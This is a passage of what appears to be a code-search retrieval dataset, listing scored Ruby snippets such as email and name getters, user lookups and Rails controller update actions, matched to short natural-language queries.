"docid": "5e21f81548287ec4ffdc32cadd971cb2",
"score": "0.6352782",
"text": "def get_email(email)\n self.api_get(:email, {:email => email})\n end",
"title": ""
},
{
"docid": "4266e3e846bfd88384dc10932382eb39",
"score": "0.635255",
"text": "def email_credential\n user.credentials.where(name: email).first\n end",
"title": ""
},
{
"docid": "862b472e5434851fdc341ebac4c0de90",
"score": "0.6331251",
"text": "def email\n preferred_email\n end",
"title": ""
},
{
"docid": "fe713565147be7a4ff605b678b5cb6c9",
"score": "0.63292223",
"text": "def email\n find_by_type('email')\n end",
"title": ""
},
{
"docid": "da36c11d23222e6ad7d9ccac82c4605a",
"score": "0.63166934",
"text": "def email\n pull unless @details\n begin\n return @details.email_address.address\n rescue\n return nil\n end\n end",
"title": ""
},
{
"docid": "76b0a9c16aa1bfb9b6e9118d1288a8a3",
"score": "0.6306877",
"text": "def find_user_by_email(email: user&.email)\n users = client.list_users(\"active\", {\n filter: email,\n order: \"ascending\",\n page: 1\n })\n\n users.first\n end",
"title": ""
},
{
"docid": "fc4336a646cd74c6bcc88518af08dc42",
"score": "0.62811613",
"text": "def get_email_address\n response = get_current_user_meta('email')\n email = response['query']['userinfo']['email']\n return if email == ''\n\n email\n end",
"title": ""
},
{
"docid": "821c4666ae47b51a47db8f20cd8a899e",
"score": "0.6279136",
"text": "def email_address\n return @email_address\n end",
"title": ""
},
{
"docid": "821c4666ae47b51a47db8f20cd8a899e",
"score": "0.6279136",
"text": "def email_address\n return @email_address\n end",
"title": ""
},
{
"docid": "1058a98269bfb9bfe33750e2fd9cd096",
"score": "0.6277129",
"text": "def email\n @attributes[:email]\n end",
"title": ""
},
{
"docid": "1058a98269bfb9bfe33750e2fd9cd096",
"score": "0.6277129",
"text": "def email\n @attributes[:email]\n end",
"title": ""
},
{
"docid": "1058a98269bfb9bfe33750e2fd9cd096",
"score": "0.6277129",
"text": "def email\n @attributes[:email]\n end",
"title": ""
},
{
"docid": "1058a98269bfb9bfe33750e2fd9cd096",
"score": "0.6277129",
"text": "def email\n @attributes[:email]\n end",
"title": ""
},
{
"docid": "d3e5e66d50ec3ab2a3e1830f15ffa729",
"score": "0.62695456",
"text": "def email\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"title": ""
},
{
"docid": "ba43ff8979c9e57e080692ea9cfa8d61",
"score": "0.6262149",
"text": "def email\n (@session[:current_user_details] || {})[:email]\n end",
"title": ""
},
{
"docid": "14231b17b79edc04d6e6997b75e3e3bc",
"score": "0.6260042",
"text": "def get_user_email\n useremail[:value]\n end",
"title": ""
},
{
"docid": "641a043256855647fecda44a7eaf934a",
"score": "0.6256099",
"text": "def recipient_email\n return @recipient_email\n end",
"title": ""
},
{
"docid": "641a043256855647fecda44a7eaf934a",
"score": "0.6256099",
"text": "def recipient_email\n return @recipient_email\n end",
"title": ""
},
{
"docid": "84f46d5e4027f7188e855111d771c135",
"score": "0.6248853",
"text": "def u_email\n (self.user).email\n end",
"title": ""
},
{
"docid": "4c5d3223ed79a69e9f97826a05c3f843",
"score": "0.62366176",
"text": "def email\n attributes['email']\n end",
"title": ""
},
{
"docid": "cffa7aec98ec58ea53f0cbffc28d0852",
"score": "0.6223307",
"text": "def find_email(email)\n @users.select { |user| user[:email].eql? email }.first\n end",
"title": ""
},
{
"docid": "f5555aa2666b0ed1ca884428cd574230",
"score": "0.6214887",
"text": "def email\n user.present? ? user.email : self[:email]\n end",
"title": ""
},
{
"docid": "10f75c82674d0185730087d81e6a8689",
"score": "0.6210151",
"text": "def seller_email\r\n user.email rescue nil\r\n end",
"title": ""
},
{
"docid": "b9ba83b59df8b536a2f58d5abab711a4",
"score": "0.620989",
"text": "def email_address\n (email_addresses.where(primary: true).first || email_addresses.first).try(:email) ||\n current_address.try(:email) ||\n permanent_address.try(:email) ||\n user.try(:username)\n end",
"title": ""
},
{
"docid": "89ef752fff49105c9489a8ce3758206a",
"score": "0.6206027",
"text": "def email\n get_attribute('Email')\n end",
"title": ""
},
{
"docid": "7885019f0ffa515b46cafe59aec1a018",
"score": "0.6198719",
"text": "def reportable_email\n try(:email) || try(:user).try(:email) || try(:owner).try(:email) || raise(\"No reportable_email found\")\n end",
"title": ""
},
{
"docid": "a7c526dd9ccb367581ca8e98edf13d2f",
"score": "0.6175011",
"text": "def email\n self.user.try(:email) || self.original_email\n end",
"title": ""
},
{
"docid": "a7c526dd9ccb367581ca8e98edf13d2f",
"score": "0.6175011",
"text": "def email\n self.user.try(:email) || self.original_email\n end",
"title": ""
},
{
"docid": "63697a93595a2d87f82c3b6ee44b3c6e",
"score": "0.61568755",
"text": "def email\n\t\treturn @email\n\tend",
"title": ""
},
{
"docid": "4cf568899de0e384f3a2c6c5c84a966e",
"score": "0.61370784",
"text": "def email\n if @data.attribute_names.include?(:cmupreferredmail)\n @email ||= @data[:cmupreferredmail].last\n else\n @email ||= @data[:mail].last\n end\n end",
"title": ""
},
{
"docid": "2ca64bfcf078fdc4fab133ee4702ce20",
"score": "0.61360765",
"text": "def email\n params['email']\n end",
"title": ""
},
{
"docid": "0f5f9caddb89c94ebbda8d535e205551",
"score": "0.6130221",
"text": "def recipient(recipient_id)\n if recipient = User.find(recipient_id)\n recipient.email\n end\n end",
"title": ""
},
{
"docid": "0f5f9caddb89c94ebbda8d535e205551",
"score": "0.6130221",
"text": "def recipient(recipient_id)\n if recipient = User.find(recipient_id)\n recipient.email\n end\n end",
"title": ""
},
{
"docid": "c50e0d75e19e33d96b73fd78ae7010a8",
"score": "0.61264145",
"text": "def user_email\n msg['email'] || entry['email'] || reject['email']\n end",
"title": ""
},
{
"docid": "cad4671044624dd80ff493d6a7a318e3",
"score": "0.61134374",
"text": "def email\n self[:emailAddress]\n end",
"title": ""
},
{
"docid": "6ab7f0204e5d5db2df4e41ee430bf90e",
"score": "0.6106484",
"text": "def getUserEmail(userName)\n\n if(userName == nil)\n return \"User not Found!\"\n end\n user = loadUser(userName)\n if user == nil\n return \"User not Found!\"\n end\n return user[\"email\"]\n\n end",
"title": ""
},
{
"docid": "b0130b9e95d1bb9a687bca6210b64677",
"score": "0.6105386",
"text": "def assignee_id_for(issuable)\n user_id_for(issuable.assignee) if issuable.assignee\n end",
"title": ""
},
{
"docid": "93373bda9824335fb5b111ced27c357b",
"score": "0.6104231",
"text": "def find_email(opts)\n find_emails(opts).first\n end",
"title": ""
},
{
"docid": "c32a9206d1e3b385d691f07454d0ad2d",
"score": "0.60937375",
"text": "def email_address\n get_attribute(Yoti::Attribute::EMAIL_ADDRESS)\n end",
"title": ""
},
{
"docid": "65b330151137a7882984e7ba39ca1767",
"score": "0.60739106",
"text": "def get_contributor_user_by_email(email, display_name)\n if self.everyone_can_contribute?\n # this is open album, so go ahead and create Anonymous user if necessary\n return User.find_by_email_or_create_automatic( email, display_name, false )\n end\n\n # only contributors allowed to add photos\n user = User.find_by_email(email)\n # if we have a user, see if a contributor, if not return nil\n if user\n if contributor?(user.id)\n # this user is a contributor, if we are currently auto_by_contact, upgrade to automatic\n user = User.find_by_email_or_create_automatic( email, display_name, false ) if user.auto_by_contact?\n else\n user = nil\n end\n end\n user\n end",
"title": ""
},
{
"docid": "c14b80e28ba3348f68dccd13b4973869",
"score": "0.6042824",
"text": "def assigned_to\n return @assigned_to\n end",
"title": ""
},
{
"docid": "c14b80e28ba3348f68dccd13b4973869",
"score": "0.6042824",
"text": "def assigned_to\n return @assigned_to\n end",
"title": ""
},
{
"docid": "8cbbef6b61b770d166fc0b40cca2f82c",
"score": "0.60233897",
"text": "def recipient\n return self.unless_nil?('invitee.email', deliveries.unless_nil?('first.recipients', '') )\n end",
"title": ""
},
{
"docid": "0ffcc0148d8bb169704476d538796077",
"score": "0.6022707",
"text": "def email_name\n @email_name || if self[:email]\n split_host = URI.parse(\"#{self[:email]}\").path.split('@')\n \"#{split_host.first}\" if 2 == split_host.size\n end\n rescue URI::InvalidURIError\n nil\n end",
"title": ""
},
{
"docid": "38f0472fc7a714c910aeca78c4a6060d",
"score": "0.6008316",
"text": "def assignee=(assignee)\n @assignee = assignee.is_a?(Hash) ? Logan::Person.new(assignee) : assignee\n end",
"title": ""
},
{
"docid": "38f0472fc7a714c910aeca78c4a6060d",
"score": "0.6008316",
"text": "def assignee=(assignee)\n @assignee = assignee.is_a?(Hash) ? Logan::Person.new(assignee) : assignee\n end",
"title": ""
},
{
"docid": "5eddea852a15eeb9995db0d1ee3da47d",
"score": "0.5964384",
"text": "def email\n if self.alternate_email.blank?\n if self.alumni?\n \"#{self.username}@alumni.calvin.edu\"\n else\n \"#{self.username}@students.calvin.edu\"\n end\n else\n self.alternate_email\n end\n end",
"title": ""
},
{
"docid": "36213de9ca180a57130be3d0b6b86c41",
"score": "0.5953583",
"text": "def set_employee_email\n @employee_email = EmployeeEmail.find(params[:id])\n end",
"title": ""
},
{
"docid": "e96585e76d5fcea2bab722f23f575db4",
"score": "0.5942108",
"text": "def show\n @assignee = Task.finduser(params[:id])\n end",
"title": ""
},
{
"docid": "df4a019a7f060154a84b9e269c9c8bf7",
"score": "0.59415156",
"text": "def email(id)\n get(\"/user/emails/#{id}\")\n end",
"title": ""
},
{
"docid": "b9758f36cf21bb03d3863b79fb6aec59",
"score": "0.5932881",
"text": "def set_email\n @user_email = UserEmail.find(params[:id])\n end",
"title": ""
},
{
"docid": "211b42a32304863abef30c915b8eb9ac",
"score": "0.59260136",
"text": "def set_email(email = nil, email_selector = nil, ldap_lookup = nil)\n self.email = email || []\n if email_selector\n # Get the primary email address from the address list\n self.primary_email = email_selector.email(self.email)\n # Get the username from the primary email address\n if ldap_lookup and self.primary_email\n self.username = ldap_lookup.find(self.primary_email)\n else\n self.username = nil\n end\n else\n self.primary_email = nil\n self.username = nil\n end\n end",
"title": ""
},
{
"docid": "a78c8a8c9e73b740c1f27d6d3b7707b5",
"score": "0.5915195",
"text": "def organiser_email\n organiser ? organiser.email : \"\"\n end",
"title": ""
},
{
"docid": "451efc56cdc5f5fd55dfe6cb8b25acca",
"score": "0.59142786",
"text": "def get_user_email\n unless auth_hash\n return nil if recaptcha_enabled? && !verify_recaptcha\n return params['email']\n end\n\n case auth_hash.provider\n when 'twitter'\n auth_hash.info.nickname\n when 'github'\n check_user_github_organizations ? auth_hash.info.email : nil\n else\n auth_hash.info.email\n end\n end",
"title": ""
},
{
"docid": "8704c9e73c20a8a60c5dab46307a9a03",
"score": "0.5913474",
"text": "def email\n @email ||= select { |type,value| type == :email }.map do |(type,value)|\n value\n end\n end",
"title": ""
},
{
"docid": "5a51bba910573cb542375a37b9942f07",
"score": "0.59123933",
"text": "def query_id_for_github_email(email)\n User.by_any_email(email).pluck(:id).first\n end",
"title": ""
},
{
"docid": "fc0e96ef84d1cc6eace391427ba7af83",
"score": "0.5908751",
"text": "def email\n return Contact.get_default_email self.id\n end",
"title": ""
},
{
"docid": "8903038deb713d7e5f9a45d4df033be9",
"score": "0.5895001",
"text": "def find_by_email(email:)\n users.where(email: email).first\n end",
"title": ""
},
{
"docid": "34c664d49bbf4dd3db43b2616e2aac2a",
"score": "0.5889392",
"text": "def user_by_email(email)\n get(\"get_user_by_email&email=#{email}\")\n end",
"title": ""
},
{
"docid": "5fc82ff3eb832e4fe4a617126661ea71",
"score": "0.5882302",
"text": "def email\n @net_ldap_entry[:mail].first\n end",
"title": ""
},
{
"docid": "6481ff19a10156378ef3e4746a6957eb",
"score": "0.5881456",
"text": "def assigned_employee\n\t\tassignments.where(:is_active => true).first.employee \n\tend",
"title": ""
},
{
"docid": "f77c4e25cbe09044d05781ade620f7a0",
"score": "0.58692807",
"text": "def assigned_user\n User.find_by_id(assigned_id).full_name\n end",
"title": ""
},
{
"docid": "b0b0bf11dcd67c41b7ab0ccebfe1c46f",
"score": "0.58609897",
"text": "def email\n\t\t@email\n\tend",
"title": ""
},
{
"docid": "b0b0bf11dcd67c41b7ab0ccebfe1c46f",
"score": "0.58609897",
"text": "def email\n\t\t@email\n\tend",
"title": ""
},
{
"docid": "a06354e1da1dd4395174a0539fdd3900",
"score": "0.5853079",
"text": "def check_assignee(repo, assignee, options = {})\n boolean_from_response :get, \"#{Repository.path repo}/assignees/#{assignee}\", options\n end",
"title": ""
},
{
"docid": "0f0e89a71af110d828a6f3b8a357b5a7",
"score": "0.5851634",
"text": "def email; @email; end",
"title": ""
},
{
"docid": "cf6ac864029ebe55fca0db28665bd017",
"score": "0.58447486",
"text": "def for_email(email)\n Iterable.request(conf, \"/users/#{email}\").get\n end",
"title": ""
},
{
"docid": "040013e0648567c82dbbabde7febc0de",
"score": "0.58383274",
"text": "def primary_email\n if self[\"gd$email\"]\n _email = self[\"gd$email\"].find { |e| e.primary == \"true\" }\n _email ? _email.address : nil\n else\n nil # no emails at all\n end\n end",
"title": ""
},
{
"docid": "9a94138238e4c6c49980a687d67ea8fe",
"score": "0.58373207",
"text": "def admin_email(e=nil)\n return @admin_email unless e\n @admin_email = e\n end",
"title": ""
},
{
"docid": "764214e3ed510ff5c661130f4c7a5ceb",
"score": "0.5836452",
"text": "def email_from_infos\n user_infos.map(&:email).try(:first)\n end",
"title": ""
},
{
"docid": "164f3d3d33227450bf23fc2bad4722a2",
"score": "0.5824625",
"text": "def examinator_email\n examinator ? examinator.email : nil\n end",
"title": ""
},
{
"docid": "fb5d3943dd3c26924e7fc679f1dbb908",
"score": "0.58241004",
"text": "def email\n result_record = default_email_record\n default_email_record.email if result_record\n end",
"title": ""
},
{
"docid": "fb5d3943dd3c26924e7fc679f1dbb908",
"score": "0.58241004",
"text": "def email\n result_record = default_email_record\n default_email_record.email if result_record\n end",
"title": ""
}
] |
281dbfc0bf96020eea661231f1a3b537 | Name of the value, e.g. "Title" | [
{
"docid": "5f6ab8697a611924c30003051831a66e",
"score": "0.0",
"text": "def name()\n @type.name()\n end",
"title": ""
}
] | [
{
"docid": "bdf3c7d1a75208e69583b726ef028ab2",
"score": "0.7913238",
"text": "def name\n @values['name']\n end",
"title": ""
},
{
"docid": "bdf3c7d1a75208e69583b726ef028ab2",
"score": "0.7913238",
"text": "def name\n @values['name']\n end",
"title": ""
},
{
"docid": "bdf3c7d1a75208e69583b726ef028ab2",
"score": "0.7913238",
"text": "def name\n @values['name']\n end",
"title": ""
},
{
"docid": "e5dcfbb3d245dfd6916bb11f54354894",
"score": "0.78895223",
"text": "def value_name\n return @value_name\n end",
"title": ""
},
{
"docid": "e5dcfbb3d245dfd6916bb11f54354894",
"score": "0.78895223",
"text": "def value_name\n return @value_name\n end",
"title": ""
},
{
"docid": "8b2744f59dc0205f0de75fff0e851e52",
"score": "0.78570545",
"text": "def name\n @values[:name]\n end",
"title": ""
},
{
"docid": "d7d66babcc53b516f6439d0c76da8756",
"score": "0.76712394",
"text": "def title\n value(\"TITLE\")\n end",
"title": ""
},
{
"docid": "d7d66babcc53b516f6439d0c76da8756",
"score": "0.76712394",
"text": "def title\n value(\"TITLE\")\n end",
"title": ""
},
{
"docid": "d7d66babcc53b516f6439d0c76da8756",
"score": "0.76712394",
"text": "def title\n value(\"TITLE\")\n end",
"title": ""
},
{
"docid": "d7d66babcc53b516f6439d0c76da8756",
"score": "0.76712394",
"text": "def title\n value(\"TITLE\")\n end",
"title": ""
},
{
"docid": "31909aad08e8cd9fc68b673d2ae0f6c2",
"score": "0.7611619",
"text": "def name = (value)",
"title": ""
},
{
"docid": "a83a69b3d21303c3780becaccb86658f",
"score": "0.75009614",
"text": "def name\n self.value\n end",
"title": ""
},
{
"docid": "a792d6681a265290e0655bae16afdbd3",
"score": "0.7493749",
"text": "def name\n self[:title]\n end",
"title": ""
},
{
"docid": "e3c4e6b609df29a203cc59b135901554",
"score": "0.7463245",
"text": "def value_name=(value)\n @value_name = value\n end",
"title": ""
},
{
"docid": "e3c4e6b609df29a203cc59b135901554",
"score": "0.7463245",
"text": "def value_name=(value)\n @value_name = value\n end",
"title": ""
},
{
"docid": "57ac15fa55af077732f76977b6fed8d2",
"score": "0.727975",
"text": "def name_value\n @pairs[\"name\"]\n end",
"title": ""
},
{
"docid": "3175b72c52c4616d6130bfbacce181f2",
"score": "0.72337794",
"text": "def value\n @value ||= name.to_sym\n end",
"title": ""
},
{
"docid": "6b15c09374e6a9c954ce66bacd497547",
"score": "0.72178346",
"text": "def request_value\n title\n end",
"title": ""
},
{
"docid": "b101f956b58049fd36882a2267a9cb03",
"score": "0.71826875",
"text": "def name\n @data['name']\n end",
"title": ""
},
{
"docid": "f1f5d44d19c6ef79410ca07394a73534",
"score": "0.715822",
"text": "def name\n @data['name']\n end",
"title": ""
},
{
"docid": "c67ed4ae8a808db25cd762b65d0729cc",
"score": "0.714855",
"text": "def name \n @title\n end",
"title": ""
},
{
"docid": "9b5c2dc316c1d0f7c67ab877eae7008b",
"score": "0.714387",
"text": "def name\n @title\n end",
"title": ""
},
{
"docid": "ce1185ec6b20a8776714fe747be1fdeb",
"score": "0.7131302",
"text": "def name\r\n self[:name]\r\n end",
"title": ""
},
{
"docid": "aab63f6ac9940bec5ec710f9dedc5994",
"score": "0.7123468",
"text": "def name\n @data[:name]\n end",
"title": ""
},
{
"docid": "0b81c6e3742f07cb11b2f364ec6bdb8c",
"score": "0.71199644",
"text": "def name=(value); end",
"title": ""
},
{
"docid": "c1a2a3320e93ac479d73c4d28872a3c5",
"score": "0.7112165",
"text": "def tag_name\n @value[:name]\n end",
"title": ""
},
{
"docid": "e771fbf7c7ace52ec663ddb0a3f98efb",
"score": "0.70908195",
"text": "def name\n data[:name]\n end",
"title": ""
},
{
"docid": "e771fbf7c7ace52ec663ddb0a3f98efb",
"score": "0.70908195",
"text": "def name\n data[:name]\n end",
"title": ""
},
{
"docid": "e771fbf7c7ace52ec663ddb0a3f98efb",
"score": "0.70908195",
"text": "def name\n data[:name]\n end",
"title": ""
},
{
"docid": "e771fbf7c7ace52ec663ddb0a3f98efb",
"score": "0.70908195",
"text": "def name\n data[:name]\n end",
"title": ""
},
{
"docid": "5f404caa03f5dd25b152cfc46e2608c6",
"score": "0.7048909",
"text": "def title()\n\t\t@name\n\tend",
"title": ""
},
{
"docid": "eb1a9a38f4bfc51405d13f58c26fb0c3",
"score": "0.7032224",
"text": "def title() @name; end",
"title": ""
},
{
"docid": "34e5a397a1839148627cbd7233a0bc43",
"score": "0.70305514",
"text": "def value\n newname.to_s\n end",
"title": ""
},
{
"docid": "d551c1cf321a8af1bb7aee9db88afcc9",
"score": "0.702688",
"text": "def title; name; end",
"title": ""
},
{
"docid": "88664b922eca99a403dbf4c0f069d7cb",
"score": "0.70196337",
"text": "def name\r\n title\r\n end",
"title": ""
},
{
"docid": "62edb6dab8e574dce8107fc1a31cca31",
"score": "0.70090365",
"text": "def name\n title\n end",
"title": ""
},
{
"docid": "42f1ddf8a1f6fb5e15a740b1ef247237",
"score": "0.70012516",
"text": "def name; title end",
"title": ""
},
{
"docid": "48343d30d1db64de10a7457cdd772c2e",
"score": "0.697573",
"text": "def title(value)\n @title = value\n end",
"title": ""
},
{
"docid": "e8f1058810d34c357836173d5f30bc72",
"score": "0.69679976",
"text": "def name\n self[:name]\n end",
"title": ""
},
{
"docid": "e8f1058810d34c357836173d5f30bc72",
"score": "0.69679976",
"text": "def name\n self[:name]\n end",
"title": ""
},
{
"docid": "1ea81e3fc4278af36622b3431c41a913",
"score": "0.6963026",
"text": "def name\n\t\tself.title\n\tend",
"title": ""
},
{
"docid": "6d7d190e98ef2261e64a5a86f316874e",
"score": "0.6953867",
"text": "def name\n self[:name]\n end",
"title": ""
},
{
"docid": "241bc3447452611e1bb7ebf8057e8985",
"score": "0.6943517",
"text": "def title(value)\n model.title = value\n model.title\n end",
"title": ""
},
{
"docid": "2bddb031cf5f4b9d8148b9ef9e7317d5",
"score": "0.68931645",
"text": "def name\n\t\ttitle\n\tend",
"title": ""
},
{
"docid": "e3f696f15453340cdc9ecef366eb0d42",
"score": "0.6863816",
"text": "def name\n data.name\n end",
"title": ""
},
{
"docid": "98fc21c5c3df340fac75598f0a4d1856",
"score": "0.6859938",
"text": "def title= value\n value = [value] if value.is_a? String\n @title = value\n end",
"title": ""
},
{
"docid": "fc3aedb8040f78b8969af33dcb71b306",
"score": "0.68574363",
"text": "def name\n @attributes['name']\n end",
"title": ""
},
{
"docid": "b385c9f0c8f3fa7352f6bcccc39d7f67",
"score": "0.68509126",
"text": "def title\n name_label\n end",
"title": ""
},
{
"docid": "b385c9f0c8f3fa7352f6bcccc39d7f67",
"score": "0.68509126",
"text": "def title\n name_label\n end",
"title": ""
},
{
"docid": "fc09ed44b007e456849bdb7c782cfc16",
"score": "0.68504477",
"text": "def title\n @name\n end",
"title": ""
},
{
"docid": "7821c805cb33dd0e731825e65c592f66",
"score": "0.6829047",
"text": "def name\n return @children['name'][:value]\n end",
"title": ""
},
{
"docid": "7821c805cb33dd0e731825e65c592f66",
"score": "0.6829047",
"text": "def name\n return @children['name'][:value]\n end",
"title": ""
},
{
"docid": "0837de516dbc64dab606d63d038755e0",
"score": "0.68266284",
"text": "def name\n self[:name]\n end",
"title": ""
},
{
"docid": "59cefa741bcca1b7341e229866689123",
"score": "0.68171805",
"text": "def name\n\t\t\t@name.to_sym\n\t\tend",
"title": ""
},
{
"docid": "9c3d7c74d084863ea6d24ae89e60651d",
"score": "0.68161947",
"text": "def title(value = nil)\n if value\n @title = value\n else\n @title ||= begin\n hook = name.dup\n hook.sub! /.*:/, ''\n hook\n end\n end\n end",
"title": ""
},
{
"docid": "e210398d3d6a529b6798052a53d7d5a2",
"score": "0.6806495",
"text": "def name\n @data[\"name\"]\n end",
"title": ""
},
{
"docid": "e6e0792b3ec1c392ba53f417895b4915",
"score": "0.6801589",
"text": "def name\n @properties[\"name\"]\n end",
"title": ""
},
{
"docid": "c8eefb98022c1e21b5f892356c520a2b",
"score": "0.6797837",
"text": "def title\n self[ :title ]\n end",
"title": ""
},
{
"docid": "8d99d9d6f8dc408249dbed13f6920418",
"score": "0.6788702",
"text": "def name\n NAMES_BY_VALUE[id]\n end",
"title": ""
},
{
"docid": "46aad3c1cd0f2f0bb5b8b6d1ac318dd6",
"score": "0.6776428",
"text": "def name=(value)\n @values['name'] = value\n end",
"title": ""
},
{
"docid": "46aad3c1cd0f2f0bb5b8b6d1ac318dd6",
"score": "0.6776428",
"text": "def name=(value)\n @values['name'] = value\n end",
"title": ""
},
{
"docid": "46aad3c1cd0f2f0bb5b8b6d1ac318dd6",
"score": "0.6776428",
"text": "def name=(value)\n @values['name'] = value\n end",
"title": ""
},
{
"docid": "bbf59aa42af522b5bd0aa5577f60384c",
"score": "0.6772945",
"text": "def title\n self[:attribute_value] if is_title_attribute?()\n end",
"title": ""
},
{
"docid": "1618cbec49bccfbc03dba2951134b9dc",
"score": "0.6762951",
"text": "def title\n $data_titles[@current_title]\n end",
"title": ""
},
{
"docid": "4fac116af4f686aacd8fe0d180f5d7b4",
"score": "0.6758645",
"text": "def title(value)\n throw_content(:for_title, \"#{h(value)} - \")\n end",
"title": ""
},
{
"docid": "4fac116af4f686aacd8fe0d180f5d7b4",
"score": "0.6758645",
"text": "def title(value)\n throw_content(:for_title, \"#{h(value)} - \")\n end",
"title": ""
},
{
"docid": "cc76706b54df0989151ade52abf060fd",
"score": "0.6754185",
"text": "def name\n value = String.new\n if not title.blank?\n value = title\n elsif not content_desc.blank?\n value = content_desc\n elsif not label.blank?\n value = label\n elsif not date.blank?\n value = date\n else\n value = id # Everything has an id, so it is the LCD.\n end\n return value.to_s.strip.gsub(/\\n/, ' ').gsub(/ +/, ' ')\n end",
"title": ""
},
{
"docid": "df2e5e2f18364ef34793ca37c5b473b5",
"score": "0.67490345",
"text": "def name\n return title\n end",
"title": ""
},
{
"docid": "43cb9bb95a75dc25790268e7d17d1378",
"score": "0.67371297",
"text": "def name\n title\n end",
"title": ""
},
{
"docid": "43cb9bb95a75dc25790268e7d17d1378",
"score": "0.67371297",
"text": "def name\n title\n end",
"title": ""
},
{
"docid": "43cb9bb95a75dc25790268e7d17d1378",
"score": "0.67371297",
"text": "def name\n title\n end",
"title": ""
},
{
"docid": "43cb9bb95a75dc25790268e7d17d1378",
"score": "0.67371297",
"text": "def name\n title\n end",
"title": ""
},
{
"docid": "43cb9bb95a75dc25790268e7d17d1378",
"score": "0.67371297",
"text": "def name\n title\n end",
"title": ""
},
{
"docid": "43cb9bb95a75dc25790268e7d17d1378",
"score": "0.67371297",
"text": "def name\n title\n end",
"title": ""
},
{
"docid": "13847c57131a985b2f78371ed942ed61",
"score": "0.67351246",
"text": "def name\r\n @name\r\n end",
"title": ""
},
{
"docid": "c9eb4c18fdd362cf7e4e37864db6fbb4",
"score": "0.6731562",
"text": "def name\n @field.name\n end",
"title": ""
},
{
"docid": "ae7fac3a7c4cb18251413b9a6db146c4",
"score": "0.67227274",
"text": "def title\n @attributes[:title.to_s]\n end",
"title": ""
},
{
"docid": "97c859110774b11110982b82f23fccbc",
"score": "0.6721984",
"text": "def title(value = nil)\n if value\n @title = value\n else\n @title ||= begin\n hook = name.dup\n hook.sub! /.*:/, ''\n hook\n end\n end\n end",
"title": ""
},
{
"docid": "679dba945f69ae3bce751e57a95fd075",
"score": "0.6720199",
"text": "def title\n @data[\"title\"]\n end",
"title": ""
},
{
"docid": "18190a36c8673e54c697eee26f4f1542",
"score": "0.67152166",
"text": "def name \r\n\t\t@name\r\n\tend",
"title": ""
},
{
"docid": "dc5cdd550fc7112ebeb7b01e23294445",
"score": "0.67127115",
"text": "def title\n if @data['title']\n @data['title']\n else\n @data['title'] = field_fetch('T')\n end\n end",
"title": ""
},
{
"docid": "9b0812c61c9601251d58f19da6cd417d",
"score": "0.66988283",
"text": "def name\n\t\t\t@name\n\t\tend",
"title": ""
},
{
"docid": "c259e5638431f8dc30021ec3e1aaadb6",
"score": "0.66982776",
"text": "def title; name; end",
"title": ""
},
{
"docid": "1e65a63bc470e938ebbc4ff35da658c4",
"score": "0.6697569",
"text": "def name\r\n\t\t@name\r\n\tend",
"title": ""
},
{
"docid": "56b8a09dbd5359eef23bfe443813d03f",
"score": "0.6697517",
"text": "def name\r\n @name\r\n end",
"title": ""
},
{
"docid": "56b8a09dbd5359eef23bfe443813d03f",
"score": "0.6697517",
"text": "def name\r\n @name\r\n end",
"title": ""
},
{
"docid": "0675fca4b1b8f7a478f49d36a78a1c4d",
"score": "0.66973174",
"text": "def name\r\n \t @name\r\n end",
"title": ""
},
{
"docid": "e0999e6074b7ce24e2d442530a5ca030",
"score": "0.66948354",
"text": "def name\n metatags['name']\n end",
"title": ""
},
{
"docid": "e0999e6074b7ce24e2d442530a5ca030",
"score": "0.66948354",
"text": "def name\n metatags['name']\n end",
"title": ""
},
{
"docid": "4583bbbbcd46b1e8013e9ed31d5e3f92",
"score": "0.667882",
"text": "def name\n @name\n end",
"title": ""
},
{
"docid": "078fa87c3dd44d3026a971ac7729b1fb",
"score": "0.6675248",
"text": "def name\n\t\t\t\t\t@name\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd35474089c5f8609bcbfc94cddd134d",
"score": "0.667514",
"text": "def name\n @hash[\"name\"]\n end",
"title": ""
},
{
"docid": "fd35474089c5f8609bcbfc94cddd134d",
"score": "0.667514",
"text": "def name\n @hash[\"name\"]\n end",
"title": ""
},
{
"docid": "fd35474089c5f8609bcbfc94cddd134d",
"score": "0.66747415",
"text": "def name\n @hash[\"name\"]\n end",
"title": ""
},
{
"docid": "2f1321cd5752ef66bd97b338d338b864",
"score": "0.6666677",
"text": "def name\n @name ||= content['name']\n end",
"title": ""
},
{
"docid": "efe5e620b850a82e8001a0418515644d",
"score": "0.66665643",
"text": "def name \n self.title\n end",
"title": ""
},
{
"docid": "73bb5958a07463b5c1fbb2f42dddcace",
"score": "0.66604125",
"text": "def name(name)\n @name_value = name\n end",
"title": ""
},
{
"docid": "c428ca6912cef4e7d847f67086ad3f89",
"score": "0.66535366",
"text": "def name\n self[:Name]\n end",
"title": ""
},
{
"docid": "c428ca6912cef4e7d847f67086ad3f89",
"score": "0.66535366",
"text": "def name\n self[:Name]\n end",
"title": ""
},
{
"docid": "c428ca6912cef4e7d847f67086ad3f89",
"score": "0.66535366",
"text": "def name\n self[:Name]\n end",
"title": ""
},
{
"docid": "c428ca6912cef4e7d847f67086ad3f89",
"score": "0.66535366",
"text": "def name\n self[:Name]\n end",
"title": ""
}
] |
150aa23d865ed843ebbfd0ca59981c63 | PATCH/PUT /faturas/1 PATCH/PUT /faturas/1.json | [
{
"docid": "b7e1bf12fe761ecba7a0f752b33b0666",
"score": "0.6532905",
"text": "def update\n respond_to do |format|\n if @fatura.update(fatura_params)\n format.html { redirect_to @fatura, notice: 'Fatura was successfully updated.' }\n format.json { render :show, status: :ok, location: @fatura }\n else\n format.html { render :edit }\n format.json { render json: @fatura.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "84f2d68dc84d9c8be9bb908304afea8f",
"score": "0.6458609",
"text": "def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2985a1aa35313d677c927339b3c285ca",
"score": "0.6386494",
"text": "def update\n respond_to do |format|\n if @fat.update(fat_params)\n format.html { redirect_to @fat, notice: 'Fat was successfully updated.' }\n format.json { render :show, status: :ok, location: @fat }\n else\n format.html { render :edit }\n format.json { render json: @fat.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "95db6e768803a2f7299c9fbe3b15cd20",
"score": "0.6369098",
